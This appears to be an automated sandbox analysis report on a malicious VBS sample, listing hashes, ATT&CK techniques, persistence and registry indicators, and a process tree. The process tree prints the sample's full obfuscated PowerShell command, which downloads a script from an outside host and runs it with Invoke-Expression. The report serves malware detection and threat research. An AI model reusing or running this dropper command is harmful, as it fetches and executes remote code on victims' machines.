65eeb7555fce81d1b0b4a768ec4edde4f109ec284aed45a2c5ef19f8dc6c7c47

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
19/04/2024, 19:18

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General

Target

fafdb22ccf79885a6a78acc42be46237_JaffaCakes118.vbs
Size

918B
MD5

fafdb22ccf79885a6a78acc42be46237
SHA1

6b12ddd6033f7b3abb07b6783b83700aeb6bae4d
SHA256

65eeb7555fce81d1b0b4a768ec4edde4f109ec284aed45a2c5ef19f8dc6c7c47
SHA512

9e5944acbcf5fe7df61a4714e183990c7dff4657cb4b90539cc38a6bca8f116014614d7029f2a60d06487818e813dcbbd954a0272e16658e4c7f48fdd2d056ce

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://0xcoin.org/test.jpg

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	4148	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1132431369-515282257-1998160155-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Tevvvvvst.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Tevvvvvst.vbs	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4148	powershell.exe
4148	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4148	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3492 wrote to memory of 4148	3492	WScript.exe	88
PID 3492 wrote to memory of 4148	3492	WScript.exe	88

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fafdb22ccf79885a6a78acc42be46237_JaffaCakes118.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $4000='(N'+'e'+'w-O'+'b'+'j'+'e'+'c'+'t N'+'e'+'t.W'+'e'; $5000='b'+'C'+'l'+'i'+'e'+'n'+'t).D'+'ow'+'n'+'lo'; $6000='a'+'dS'+'tr'+'in'+'g.invoke(''https://0xcoin.org/test.jpg'')';$TC=Invoke-Expression ($4000,$5000,$6000 -Join '')|Invoke-Expression;exit;
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mbhdphzs.e4m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4148-9-0x000001F429F10000-0x000001F429F32000-memory.dmp

Filesize
136KB

Download
memory/4148-10-0x00007FFB5BE00000-0x00007FFB5C8C1000-memory.dmp

Filesize
10.8MB

Download
memory/4148-11-0x000001F429A40000-0x000001F429A50000-memory.dmp

Filesize
64KB

Download
memory/4148-12-0x000001F429A40000-0x000001F429A50000-memory.dmp

Filesize
64KB

Download
memory/4148-13-0x000001F429A40000-0x000001F429A50000-memory.dmp

Filesize
64KB

Download
memory/4148-16-0x000001F429A50000-0x000001F429C6C000-memory.dmp

Filesize
2.1MB

Download
memory/4148-17-0x00007FFB5BE00000-0x00007FFB5C8C1000-memory.dmp

Filesize
10.8MB

Download